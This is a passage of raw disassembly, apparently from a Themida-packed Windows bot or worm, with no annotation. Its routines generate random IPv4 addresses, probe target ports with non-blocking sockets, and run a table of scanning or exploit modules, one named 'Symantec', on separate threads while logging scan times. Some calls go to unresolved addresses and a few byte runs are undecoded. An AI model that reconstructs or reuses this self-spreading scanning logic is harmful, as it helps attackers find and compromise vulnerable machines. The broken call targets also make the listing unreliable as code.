		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE374
		push	offset unk_431ECC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F18
		push	eax
		call	sub_41B886
		cmp	dword_431AC8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F08
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CB664
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431AC8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431AC8
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F68
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F34
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB770[eax*8]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FB8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431F98
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431AD4[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD82C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA3C, eax
		mov	dword_4CDA38, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD930
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD828, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAC0, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAC4, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAC4, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA3C
		push	offset unk_42C520
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDA34, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD828
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, dword_4CDA34


loc_40BBE6:				; DATA XREF: Themida_:00546544o
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CDAC8, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2670E94h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CB360
		mov	esi, offset dword_4CDAD4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDCE4, eax
		mov	dword_4CDCE0, ebx
		call	near ptr 2660000h
		nop
		push	103h
		push	edi
		push	offset dword_4CDBD8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDAD0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD68, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDCE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD6C, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDCE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD6C, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDCE4
		push	offset unk_4320A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDCDC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDAD0
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, dword_4CDCDC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CDD70, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 2670E94h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432070
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431ADC[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CE36C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD794, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD788, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD790, ebx
		mov	dword_4CD818, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD798
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD81C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD798
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD81C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD794
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD78C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD788
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, dword_4CD78C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD820, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432008
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431AD8[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CE004
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE11C, ebx
		mov	dword_4CE108, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD7C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDD78, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE108
		mov	dword_4CE114, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE118, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CE110, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDD78
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, dword_4CE110
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CE124, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431FD4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB770h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB54C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB620
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB770[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB624
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6C0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB60C
		push	esi
		mov	edi, eax
		call	dword_4CB6BC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43E564[ebx]
		cmp	dword_4CB774[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E564[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432134
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E360[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD770
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43210C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD770
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431ACC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2670535h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB664
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB770[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD770
		push	esi
		nop
		call	near ptr 26D0702h
		push	80000400h
		push	esi
		call	near ptr 26D056Dh
		nop
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_432218
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB774[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
